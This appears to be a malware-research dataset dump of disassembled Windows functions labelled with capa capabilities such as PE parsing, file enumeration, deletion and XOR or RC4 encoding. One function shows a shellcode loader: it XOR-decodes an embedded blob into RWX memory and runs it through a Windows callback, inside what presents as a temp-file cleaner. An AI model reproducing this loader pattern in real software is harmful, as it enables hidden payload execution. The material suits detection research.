joyce8/EMBER2024-capa huggingface dataset:
Function at 0x5c9911
Capabilities:
Encode data using xor

Disassembly:
sub eax, 0x688e4405
shl dword [esi], 0x93
cmp byte [esi + 0x396b980b], ah
sahf
js 0x59260c
pop ds
jle 0x592608
add byte [edx + 0x5b884a], cl
pop ss
or al, 2
call [esi]
cmp al, 9
and dword [esi + 0x9125136], ecx
rcr byte [eax + 0x42079ada], 0x14
xchg edx, eax
les ecx, [eax]
fcom dword [ebp - 0x7bcfd76c]
adc byte ds:[ebx], cl
inc esi
in eax, 0xf9
xor byte [esi + edi - 0x1ab9f4f0], al
stc
jns 0x5925f7
inc esi
sbb al, 0xae
mov al, byte [0x3f742c28]
aas
cmp esi, dword [eax + 0xc]
xchg esp, eax
add edi, ebx
inc edi
and bh, cl
mov cl, 0xab
jae 0x592668
mov bl, 0x30
xor al, 0xbc
aaa
aam 0x1b
movsb byte es:[edi], byte [esi]
sub byte [ecx + 0x4c091878], bh
mov bl, 0x3c
aas
dec edi
or eax, 0x3430bab2
je 0x59265f
sub al, 0x9e
arpl word [edi], si
mov edi, edi
push ebp
mov ebp, esp
push ecx
mov eax, dword [0x3e3ef00c]
push edi
push eax
mov edi, ecx
call dword [0x3e351328]
jmp 0x5925c2

Function at 0x608f24
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
cmp word [ecx], 0x5a4d
je 0x608f37
xor eax, eax
pop ebp
ret
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x608f33
xor ecx, ecx
cmp word [eax + 0x18], 0x10b
sete cl
mov eax, ecx
pop ebp
ret

Function at 0x608f58
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
push ebx
push esi
movzx esi, word [ecx + 6]
xor edx, edx
test esi, esi
push edi
lea eax, [eax + ecx + 0x18]
jbe 0x608f97
mov edi, dword [ebp + 0xc]
mov ecx, dword [eax + 0xc]
cmp edi, ecx
jb 0x608f8d
mov ebx, dword [eax + 8]
add ebx, ecx
cmp edi, ebx
jb 0x608f99
add edx, 1
add eax, 0x28
cmp edx, esi
jb 0x608f7d
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret
Function at 0x403b26
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
mov ecx, dword [ebp + 0x14]
mov edx, dword [ecx]
mov ecx, dword [ebp + 0xc]
xor eax, eax
and edx, 7
cmp ecx, 5
jae 0x403b3f
leave
ret
add dword [ebp + 0x10], 5
or dword [ebp + 0xc], 0xffffffff
push ebx
push esi
mov esi, dword [ebp + 8]
lea ecx, [esi + ecx - 4]
push edi
mov dword [ebp - 4], ecx
lea edi, [eax + esi]
jmp 0x403b62
mov al, byte [edi]
and al, 0xfe
cmp al, 0xe8
je 0x403b67
inc edi
cmp edi, dword [ebp - 4]
jb 0x403b59
mov eax, edi
sub eax, esi
mov dword [ebp - 8], eax
cmp edi, dword [ebp - 4]
jae 0x403c5f
mov ecx, eax
sub ecx, dword [ebp + 0xc]
cmp ecx, 3
jbe 0x403bbe
xor edx, edx
mov cl, byte [edi + 4]
mov dword [ebp + 0xc], eax
test cl, cl
je 0x403b92
cmp cl, 0xff
jne 0x403be9
movzx esi, cl
movzx ecx, byte [edi + 3]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 2]
shl esi, 8
or esi, ecx
movzx ecx, byte [edi + 1]
shl esi, 8
or esi, ecx
cmp dword [ebp + 0x18], 0
je 0x403bf7
lea ebx, [esi + eax]
add ebx, dword [ebp + 0x10]
jmp 0x403bfe
dec ecx
shl edx, cl
and edx, 7
je 0x403b83
movzx ecx, byte [edx + 0x473424]
mov ebx, edi
sub ebx, ecx
cmp byte [edx + 0x47341c], 0
mov cl, byte [ebx + 4]
je 0x403be6
test cl, cl
je 0x403be6
cmp cl, 0xff
jne 0x403b83
mov dword [ebp + 0xc], eax
and edx, 3
add edx, edx
or edx, 1
inc eax
jmp 0x403b54
sub esi, eax
sub esi, dword [ebp + 0x10]
mov ebx, esi
test edx, edx
je 0x403c32
movzx esi, byte [edx + 0x473424]
push 0x18
shl esi, 3
pop ecx
sub ecx, esi
mov eax, ebx
shr eax, cl
test al, al
je 0x403c1d
cmp al, 0xff
jne 0x403c2f
mov eax, dword [ebp - 8]
push 0x20
pop ecx
sub ecx, esi
xor esi, esi
inc esi
shl esi, cl
dec esi
xor esi, ebx
jmp 0x403bb0
mov eax, dword [ebp - 8]
mov esi, dword [ebp + 8]
mov ecx, ebx
shr ecx, 0x18
and cl, 1
dec cl
not cl
mov byte [edi + 4], cl
mov ecx, ebx
shr ecx, 0x10
mov byte [edi + 3], cl
mov ecx, ebx
shr ecx, 8
mov byte [edi + 2], cl
mov byte [edi + 1], bl
add eax, 5
jmp 0x403b54
mov esi, eax
sub esi, dword [ebp + 0xc]
push 3
lea ecx, [esi - 1]
shl edx, cl
pop edi
and edx, 7
cmp edi, esi
sbb ecx, ecx
not ecx
pop edi
and ecx, edx
mov edx, dword [ebp + 0x14]
pop esi
mov dword [edx], ecx
pop ebx
leave
ret
Function at 0x401280
Capabilities:
Allocate or change rwx memory
Execute shellcode via windows callback function

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x42b3b0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
sub esp, 0x6c
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x38], str.bgnccybmshamk
push 0x2faf080
call fcn.0040e6e6
add esp, 4
mov dword [ebp - 0x30], eax
mov eax, dword [ebp - 0x30]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
jne 0x4012da
xor eax, eax
jmp 0x4014f7
mov dword [ebp - 0x34], 0
lea ecx, [ebp - 0x34]
push ecx
mov edx, dword [ebp - 0x20]
add edx, 0x2faf080
push edx
mov eax, dword [ebp - 0x20]
push eax
call fcn.00403be0
mov dword [ebp - 0x1c], 0
jmp 0x40130a
mov ecx, dword [ebp - 0x1c]
add ecx, 1
mov dword [ebp - 0x1c], ecx
cmp dword [ebp - 0x1c], 0x17a5
jae 0x40135c
mov edx, dword [ebp - 0x1c]
mov al, byte [edx + section..data]
mov byte [ebp - 0x11], al
mov ecx, dword [ebp - 0x38]
add ecx, dword [ebp - 0x24]
mov dl, byte [ecx]
mov byte [ebp - 0x12], dl
movzx eax, byte [ebp - 0x11]
sar eax, 3
movzx ecx, byte [ebp - 0x11]
shl ecx, 5
or eax, ecx
movzx edx, byte [ebp - 0x12]
xor eax, edx
mov ecx, dword [ebp - 0x1c]
mov byte [ecx + section..data], al
mov eax, dword [ebp - 0x24]
add eax, 1
cdq
mov ecx, 0xd
idiv ecx
mov dword [ebp - 0x24], edx
jmp 0x401301
push 0x40
push 0x3000
push 0x17a5
push 0
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [ebp - 0x2c], eax
push 0x17a5
push section..data
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004017a0
push 0
mov eax, dword [ebp - 0x2c]
push eax
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
mov ecx, dword [ebp - 0x20]
mov dword [ebp - 0x3c], ecx
mov edx, dword [ebp - 0x3c]
push edx
call fcn.0040e6ef
add esp, 4
mov dword [ebp - 4], 0
lea eax, [ebp - 0x64]
push eax
call fcn.004016e0
lea ecx, [ebp - 0x64]
call fcn.00409da0
lea edx, [ebp - 0x64]
push edx
lea eax, [ebp - 0x4c]
push eax
call fcn.00401510
lea ecx, [ebp - 0x4c]
call fcn.00409dd0
movzx ecx, al
test ecx, ecx
je 0x401412
push 0x403b90
push str.No_temporary_files_found.
push 0x439b98
call fcn.00401dc0
mov ecx, eax
call fcn.004058a0
mov dword [ebp - 0x40], 0
lea ecx, [ebp - 0x4c]
call fcn.004054d0
lea ecx, [ebp - 0x64]
call fcn.00405390
mov eax, dword [ebp - 0x40]
jmp 0x4014f7
push 0x42c288
lea ecx, [ebp - 0x4c]
call fcn.0040b4c0
push eax
mov ecx, 0x439b98
call fcn.004058c0
push eax
call fcn.00401dc0
lea edx, [ebp - 0x18]
push edx
push 0x439b20
call fcn.004019b0
movzx eax, word [ebp - 0x18]
push eax
call fcn.0041338d
add esp, 4
movzx ecx, ax
cmp ecx, 0x59
jne 0x401477
lea edx, [ebp - 0x4c]
push edx
call fcn.00401630
push 0x403b90
push str.Temporary_files_deleted.
push 0x439b98
call fcn.00401dc0
mov ecx, eax
call fcn.004058a0
lea ecx, [ebp - 0x4c]
call fcn.004054d0
lea ecx, [ebp - 0x64]
call fcn.00405390
jmp 0x4014e5
mov dword [ebp - 4], 0xffffffff
jmp 0x4014f5
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 0x10
Function at 0x401510
Capabilities:
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c0
lea ecx, [ebp - 0x10]
call fcn.00404a10
lea eax, [ebp - 0x2c0]
push eax
push 0x42c33c
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x40]
push edx
call fcn.00402150
mov ecx, eax
call fcn.00408d50
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
mov dword [ebp - 4], eax
lea ecx, [ebp - 0x40]
call fcn.00405390
cmp dword [ebp - 4], 0xffffffff
jne 0x401575
lea eax, [ebp - 0x10]
push eax
mov ecx, dword [ebp + 8]
call fcn.00404970
lea ecx, [ebp - 0x10]
call fcn.004054d0
mov eax, dword [ebp + 8]
jmp 0x401629
lea ecx, [ebp - 0x294]
push ecx
lea ecx, [ebp - 0x28]
call fcn.004045e0
push 0x42c284
lea edx, [ebp - 0x28]
push edx
call fcn.004020b0
movzx eax, al
test eax, eax
je 0x4015e7
push 0x42c344
lea ecx, [ebp - 0x28]
push ecx
call fcn.004020b0
movzx edx, al
test edx, edx
je 0x4015e7
lea eax, [ebp - 0x28]
push eax
push 0x42c34c
mov ecx, dword [ebp + 0xc]
push ecx
lea edx, [ebp - 0x70]
push edx
call fcn.00402150
push eax
lea eax, [ebp - 0x58]
push eax
call fcn.00402120
push eax
lea ecx, [ebp - 0x10]
call fcn.0040ad80
lea ecx, [ebp - 0x58]
call fcn.00405390
lea ecx, [ebp - 0x70]
call fcn.00405390
lea ecx, [ebp - 0x28]
call fcn.00405390
lea ecx, [ebp - 0x2c0]
push ecx
mov edx, dword [ebp - 4]
push edx
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x401575
mov eax, dword [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x10]
push ecx
mov ecx, dword [ebp + 8]
call fcn.00404970
lea ecx, [ebp - 0x10]
call fcn.004054d0
mov eax, dword [ebp + 8]
mov esp, ebp
pop ebp
ret 8

Function at 0x401630
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
mov eax, dword [ebp + 8]
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp - 0x10]
call fcn.00408890
mov dword [ebp - 8], eax
mov ecx, dword [ebp - 0x10]
call fcn.004088a0
mov dword [ebp - 0x14], eax
jmp 0x40165d
mov ecx, dword [ebp - 8]
add ecx, 0x18
mov dword [ebp - 8], ecx
mov edx, dword [ebp - 8]
cmp edx, dword [ebp - 0x14]
je 0x4016da
mov eax, dword [ebp - 8]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
call fcn.00408d50
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x4016d5
lea ecx, [ebp - 1]
call fcn.00404210
push eax
lea ecx, [ebp - 0x18]
push ecx
mov ecx, dword [ebp - 0xc]
call fcn.00409e10
mov edx, dword [eax]
push edx
lea eax, [ebp - 0x1c]
push eax
mov ecx, dword [ebp - 0xc]
call fcn.00408cc0
mov ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x4c]
call fcn.004018b0
push eax
push str.Failed_to_delete_file:
lea edx, [ebp - 0x34]
push edx
call fcn.004020f0
lea ecx, [ebp - 0x4c]
call fcn.00405370
lea eax, [ebp - 0x34]
push eax
call fcn.00401730
lea ecx, [ebp - 0x34]
call fcn.00405370
jmp 0x401654
mov esp, ebp
pop ebp
ret 4
Function at 0x40bc90
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
mov dword [ebp - 8], ecx
cmp dword [ebp + 0x10], 0
jg 0x40bcb0
jl 0x40bca7
cmp dword [ebp + 0xc], 0
ja 0x40bcb0
xor eax, eax
xor edx, edx
jmp 0x40bde1
mov eax, dword [ebp - 8]
cmp dword [eax + 0x38], 0
je 0x40bcd2
mov ecx, dword [ebp + 0x10]
push ecx
mov edx, dword [ebp + 0xc]
push edx
mov eax, dword [ebp + 8]
push eax
mov ecx, dword [ebp - 8]
call fcn.0040bdf0
jmp 0x40bde1
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp + 0xc]
mov eax, dword [ebp + 0x10]
mov dword [ebp - 0x20], edx
mov dword [ebp - 0x1c], eax
mov ecx, dword [ebp - 8]
call fcn.00407280
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jbe 0x40bd3b
lea ecx, [ebp - 0x14]
push ecx
lea edx, [ebp - 4]
push edx
call fcn.00403cb0
mov eax, dword [eax]
mov dword [ebp - 0xc], eax
mov ecx, dword [ebp - 0xc]
push ecx
mov ecx, dword [ebp - 8]
call fcn.0040a210
push eax
mov edx, dword [ebp + 8]
push edx
call fcn.00408f50
mov eax, dword [ebp + 8]
add eax, dword [ebp - 0xc]
mov dword [ebp + 8], eax
mov ecx, dword [ebp - 4]
sub ecx, dword [ebp - 0xc]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 0xc]
push edx
mov ecx, dword [ebp - 8]
call fcn.0040a160
mov eax, dword [ebp - 8]
cmp dword [eax + 0x4c], 0
je 0x40bdd2
mov ecx, dword [ebp - 8]
call fcn.004082e0
mov dword [ebp - 0x18], 0xfff
cmp dword [ebp - 4], 0xfff
jbe 0x40bdab
mov ecx, dword [ebp - 8]
mov edx, dword [ecx + 0x4c]
push edx
push 0xfff
push 1
mov eax, dword [ebp + 8]
push eax
call fcn.00414079
add esp, 0x10
mov dword [ebp - 0x10], eax
mov ecx, dword [ebp + 8]
add ecx, dword [ebp - 0x10]
mov dword [ebp + 8], ecx
mov edx, dword [ebp - 4]
sub edx, dword [ebp - 0x10]
mov dword [ebp - 4], edx
cmp dword [ebp - 0x10], 0xfff
je 0x40bda9
xor eax, eax
mov ecx, dword [ebp - 0x20]
sub ecx, dword [ebp - 4]
mov edx, dword [ebp - 0x1c]
sbb edx, eax
mov eax, ecx
jmp 0x40bde1
jmp 0x40bd57
cmp dword [ebp - 4], 0
jbe 0x40bdd2
mov edx, dword [ebp - 8]
mov eax, dword [edx + 0x4c]
push eax
mov ecx, dword [ebp - 4]
push ecx
push 1
mov edx, dword [ebp + 8]
push edx
call fcn.00414079
add esp, 0x10
mov ecx, dword [ebp - 4]
sub ecx, eax
mov dword [ebp - 4], ecx
xor edx, edx
mov eax, dword [ebp - 0x20]
sub eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x1c]
sbb ecx, edx
mov edx, ecx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x40f1b8
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x40f1f7
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x40f1f7
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x40f1f7
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x40f1f7
cmp dword [ecx + 0x74], 0xe
jbe 0x40f1f7
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x41c9e6
Capabilities:
Allocate thread local storage

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x430508
push 0x430500
push str.FlsAlloc
push 0x1f
call fcn.0041c8ae
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41ca1a
push dword [ebp + 8]
mov ecx, esi
call dword [0x42c198]
call esi
jmp 0x41ca20
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
pop esi
pop ebp
ret 4
Function at 0x41ca64
Capabilities:
Get thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x430518
push 0x430510
push str.FlsGetValue
push 0x21
call fcn.0041c8ae
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41ca9b
push dword [ebp + 8]
mov ecx, esi
call dword [0x42c198]
call esi
pop esi
pop ebp
ret 4
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsGetValue]

Function at 0x41caa3
Capabilities:
Set thread local storage value

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push esi
push 0x430520
push 0x430518
push str.FlsSetValue
push 0x22
call fcn.0041c8ae
mov esi, eax
add esp, 0x10
test esi, esi
je 0x41cadd
push dword [ebp + 0xc]
mov ecx, esi
push dword [ebp + 8]
call dword [0x42c198]
call esi
pop esi
pop ebp
ret 8
pop esi
pop ebp
jmp dword [sym.imp.KERNEL32.dll_TlsSetValue]
Function at 0x41e73e
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, 0x101c
call fcn.0040f510
mov eax, dword [0x438818]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 0x14]
push ebx
push dword [ebp + 8]
mov dword [ebp - 0x100c], eax
call fcn.0041d019
pop ecx
mov ecx, dword [ebp + 8]
mov ebx, eax
cmp dword [ecx + 8], 0
jne 0x41e780
mov eax, dword [ebp + 0xc]
mov edx, dword [ebp + 0x10]
jmp 0x41e8dc
mov eax, dword [ecx]
sub eax, dword [ecx + 4]
push esi
push edi
push 0
cdq
push 2
push edx
push eax
call fcn.0042af40
push dword [ebp - 0x100c]
mov ecx, ebx
mov dword [ebp - 0x1008], eax
mov esi, ebx
mov dword [ebp - 0x1018], edx
and ecx, 0x3f
sar esi, 6
imul edi, ecx, 0x38
push 0
mov eax, dword [esi*4 + 0x43a5d0]
push dword [eax + edi + 0x24]
push dword [eax + edi + 0x20]
push ebx
call fcn.0041f914
mov ecx, dword [esi*4 + 0x43a5d0]
add esp, 0x14
mov dword [ebp - 0x1010], eax
mov eax, edx
mov edx, dword [ebp - 0x1010]
mov dword [ebp - 0x101c], eax
cmp edx, dword [ecx + edi + 0x20]
jne 0x41e8d5
cmp eax, dword [ecx + edi + 0x24]
jne 0x41e8d5
push 0
lea eax, [ebp - 0x1014]
push eax
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push dword [ecx + edi + 0x18]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41e8d5
push dword [ebp - 0x100c]
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push ebx
call fcn.0041f914
add esp, 0x14
test edx, edx
jl 0x41e8d5
jg 0x41e84b
test eax, eax
jb 0x41e8d5
mov ebx, dword [ebp - 0x1018]
mov eax, dword [ebp - 0x1014]
test ebx, ebx
jg 0x41e8d5
jl 0x41e865
cmp dword [ebp - 0x1008], eax
ja 0x41e8d5
lea edi, [ebp - 0x1004]
xor edx, edx
add edi, eax
lea ecx, [ebp - 0x1004]
xor esi, esi
cmp dword [ebp - 0x1008], edx
jne 0x41e883
test ebx, ebx
je 0x41e8bc
cmp ecx, edi
jae 0x41e8bc
mov al, byte [ecx]
cmp al, 0xd
jne 0x41e89d
lea eax, [edi - 1]
cmp ecx, eax
jae 0x41e8a9
cmp byte [ecx + 1], 0xa
jne 0x41e8a9
inc ecx
jmp 0x41e8a9
movzx eax, al
movsx eax, byte [eax + 0x438a90]
add ecx, eax
add esi, 1
adc edx, 0
inc ecx
cmp esi, dword [ebp - 0x1008]
jne 0x41e883
cmp edx, ebx
jne 0x41e883
lea eax, [ebp - 0x1004]
sub ecx, eax
mov eax, ecx
cdq
add eax, dword [ebp - 0x1010]
adc edx, dword [ebp - 0x101c]
jmp 0x41e8da
or edx, 0xffffffff
mov eax, edx
pop edi
pop esi
mov ecx, dword [ebp - 4]
xor ecx, ebp
pop ebx
call fcn.0040ebb3
leave
ret
Function at 0x41edac
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x18
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
sar ecx, 6
push esi
push edi
imul edi, eax, 0x38
mov eax, dword [ecx*4 + 0x43a5d0]
mov dword [ebp - 0xc], ecx
mov ecx, dword [edi + eax + 0x18]
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41edec
cmp byte [ebx], 0xa
jne 0x41edec
or byte [edi + eax + 0x28], 4
jmp 0x41edf1
and byte [edi + eax + 0x28], 0xfb
add ecx, ebx
mov eax, ebx
mov dword [ebp - 0x10], ecx
mov esi, ebx
mov dword [ebp - 8], eax
cmp ebx, ecx
jae 0x41eef0
mov dl, byte [eax]
cmp dl, 0x1a
je 0x41eed3
inc eax
cmp dl, 0xd
je 0x41ee1d
mov dword [ebp - 8], eax
mov byte [esi], dl
jmp 0x41ee43
cmp eax, ecx
jae 0x41ee51
mov cl, byte [eax]
xor eax, eax
cmp cl, 0xa
sete al
inc eax
add dword [ebp - 8], eax
cmp cl, 0xa
sete al
dec al
and al, 3
add al, 0xa
mov byte [esi], al
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
xor edx, edx
inc edx
add esi, edx
cmp eax, ecx
jb 0x41ee05
jmp 0x41eef0
push 0
lea eax, [ebp - 0x10]
push eax
push 1
lea eax, [ebp - 1]
push eax
push dword [ebp - 0x14]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41eece
cmp dword [ebp - 0x10], 0
je 0x41eece
mov ecx, dword [ebp - 0xc]
mov eax, dword [ecx*4 + 0x43a5d0]
test byte [eax + edi + 0x28], 0x48
je 0x41eea8
mov dl, byte [ebp - 1]
lea eax, [esi + 1]
mov dword [ebp - 0x14], eax
cmp dl, 0xa
jne 0x41ee93
mov byte [esi], dl
jmp 0x41eea4
mov byte [esi], 0xd
mov eax, dword [ecx*4 + 0x43a5d0]
mov byte [eax + edi + 0x2a], dl
mov eax, dword [ebp - 0x14]
mov esi, eax
jmp 0x41eef0
cmp byte [ebp - 1], 0xa
jne 0x41eeb7
cmp esi, ebx
jne 0x41eeb7
mov byte [esi], 0xa
jmp 0x41eeef
push 1
push 0xffffffffffffffff
push 0xffffffffffffffff
push dword [ebp + 8]
call fcn.0041f932
add esp, 0x10
cmp byte [ebp - 1], 0xa
je 0x41eef0
mov byte [esi], 0xd
jmp 0x41eeef
mov ecx, dword [ebp - 0xc]
mov ecx, dword [ecx*4 + 0x43a5d0]
mov al, byte [ecx + edi + 0x28]
test al, 0x40
jne 0x41eeed
or al, 2
mov byte [ecx + edi + 0x28], al
jmp 0x41eef0
mov byte [esi], dl
inc esi
sub esi, ebx
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x41eef9
Capabilities:
Read file on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x1c
mov eax, dword [ebp + 8]
mov ecx, eax
push ebx
mov ebx, dword [ebp + 0xc]
and eax, 0x3f
push esi
sar ecx, 6
push edi
imul edi, eax, 0x38
mov dword [ebp - 8], ecx
mov eax, dword [ecx*4 + 0x43a5d0]
push 0xa
pop edx
mov dword [ebp - 0x18], edx
mov ecx, dword [eax + edi + 0x18]
mov dword [ebp - 0x1c], ecx
mov ecx, dword [ebp + 0x10]
test ecx, ecx
je 0x41ef3f
cmp word [ebx], dx
jne 0x41ef3f
or byte [eax + edi + 0x28], 4
jmp 0x41ef44
and byte [eax + edi + 0x28], 0xfb
lea edx, [ebx + ecx*2]
mov eax, ebx
mov dword [ebp - 0xc], edx
mov esi, ebx
mov dword [ebp - 4], eax
cmp ebx, edx
jae 0x41f0a7
mov dword [ebp - 0x10], 0xd
movzx ecx, word [eax]
mov edx, ecx
mov dword [ebp - 0x14], edx
mov edx, dword [ebp - 0xc]
cmp ecx, 0x1a
je 0x41f087
add eax, 2
cmp cx, word [ebp - 0x10]
je 0x41ef85
mov dword [ebp - 4], eax
mov word [esi], cx
jmp 0x41efbb
cmp eax, edx
jae 0x41efc9
movzx eax, word [eax]
xor ecx, ecx
cmp ax, word [ebp - 0x18]
mov edx, eax
push 0xa
sete cl
xor eax, eax
lea ecx, [ecx*2 + 2]
add dword [ebp - 4], ecx
pop ecx
cmp dx, cx
mov edx, dword [ebp - 0xc]
sete al
dec eax
and eax, 3
add eax, ecx
mov word [esi], ax
mov eax, dword [ebp - 4]
push 2
pop ecx
add esi, ecx
cmp eax, edx
jb 0x41ef60
jmp 0x41f0a7
push 0
lea eax, [ebp - 0x18]
push eax
push 2
lea eax, [ebp - 4]
push eax
push dword [ebp - 0x1c]
call dword [sym.imp.KERNEL32.dll_ReadFile]
test eax, eax
je 0x41f082
cmp dword [ebp - 0x18], 0
je 0x41f082
mov edx, dword [ebp - 8]
push 0xa
mov eax, dword [edx*4 + 0x43a5d0]
test byte [eax + edi + 0x28], 0x48
je 0x41f058
lea eax, [esi + 2]
mov dword [ebp - 0x1c], eax
mov ax, word [ebp - 4]
pop ecx
mov word [ebp - 2], ax
cmp ax, cx
jne 0x41f01c
mov word [esi], cx
jmp 0x41f053
push 0xd
pop ecx
mov word [esi], cx
movzx ecx, ax
mov eax, dword [edx*4 + 0x43a5d0]
mov dx, word [ebp - 2]
shr ecx, 8
push 0xa
mov byte [eax + edi + 0x2a], dl
mov edx, dword [ebp - 8]
mov eax, dword [edx*4 + 0x43a5d0]
mov byte [eax + edi + 0x2b], cl
mov eax, dword [edx*4 + 0x43a5d0]
pop ecx
mov byte [eax + edi + 0x2c], cl
mov esi, dword [ebp - 0x1c]
jmp 0x41f0a7
pop eax
cmp word [ebp - 4], ax
jne 0x41f068
cmp esi, ebx
jne 0x41f068
mov word [esi], ax
jmp 0x41f0a4
push 1
push 0xffffffffffffffff
push 0xfffffffffffffffe
push dword [ebp + 8]
call fcn.0041f932
add esp, 0x10
push 0xa
pop eax
cmp word [ebp - 4], ax
je 0x41f0a7
push 0xd
pop eax
jmp 0x41f063
mov edx, dword [ebp - 8]
mov edx, dword [edx*4 + 0x43a5d0]
mov al, byte [edx + edi + 0x28]
test al, 0x40
jne 0x41f0a1
or al, 2
mov byte [edx + edi + 0x28], al
jmp 0x41f0a7
mov word [esi], cx
add esi, 2
sub esi, ebx
and esi, 0xfffffffe
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x42269d
Capabilities:
Enumerate files on windows

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x264
mov eax, dword [0x438818]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [ebp + 0xc]
mov ecx, dword [ebp + 0x10]
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov dword [ebp - 0x25c], ecx
cmp edx, edi
je 0x4226e8
movzx eax, word [edx]
lea ecx, [ebp - 0x255]
push eax
call fcn.00422838
test al, al
jne 0x4226e2
sub edx, 2
cmp edx, edi
jne 0x4226c8
mov ecx, dword [ebp - 0x25c]
movzx esi, word [edx]
cmp esi, 0x3a
jne 0x42270a
lea eax, [edi + 2]
cmp edx, eax
je 0x42270a
push ecx
xor ebx, ebx
push ebx
push ebx
push edi
call fcn.004225e9
add esp, 0x10
jmp 0x422804
push esi
lea ecx, [ebp - 0x255]
call fcn.00422838
sub edx, edi
movzx eax, al
sar edx, 1
inc edx
neg eax
sbb eax, eax
xor ebx, ebx
push ebx
push ebx
and eax, edx
push ebx
mov dword [ebp - 0x260], eax
lea eax, [ebp - 0x254]
push eax
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_FindFirstFileExW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x42274d
push dword [ebp - 0x25c]
jmp 0x4226fa
mov ebx, dword [ebp - 0x25c]
push 0x2e
mov eax, dword [ebx + 4]
sub eax, dword [ebx]
sar eax, 2
mov dword [ebp - 0x25c], eax
pop eax
cmp word [ebp - 0x228], ax
jne 0x42278a
cmp word [ebp - 0x226], 0
je 0x4227ab
cmp word [ebp - 0x226], ax
jne 0x42278a
cmp word [ebp - 0x224], 0
je 0x4227ab
push ebx
push dword [ebp - 0x260]
lea eax, [ebp - 0x228]
push edi
push eax
call fcn.004225e9
add esp, 0x10
mov dword [ebp - 0x264], eax
test eax, eax
jne 0x4227f7
lea eax, [ebp - 0x254]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
push 0x2e
test eax, eax
pop eax
jne 0x422764
mov eax, dword [ebx + 4]
mov edx, dword [ebx]
sub eax, edx
mov ecx, dword [ebp - 0x25c]
sar eax, 2
cmp ecx, eax
jne 0x4227df
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor eax, eax
jmp 0x422804
push 0x422419
sub eax, ecx
push 4
push eax
lea eax, [edx + ecx*4]
push eax
call fcn.00428eb0
add esp, 0x10
jmp 0x4227d4
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
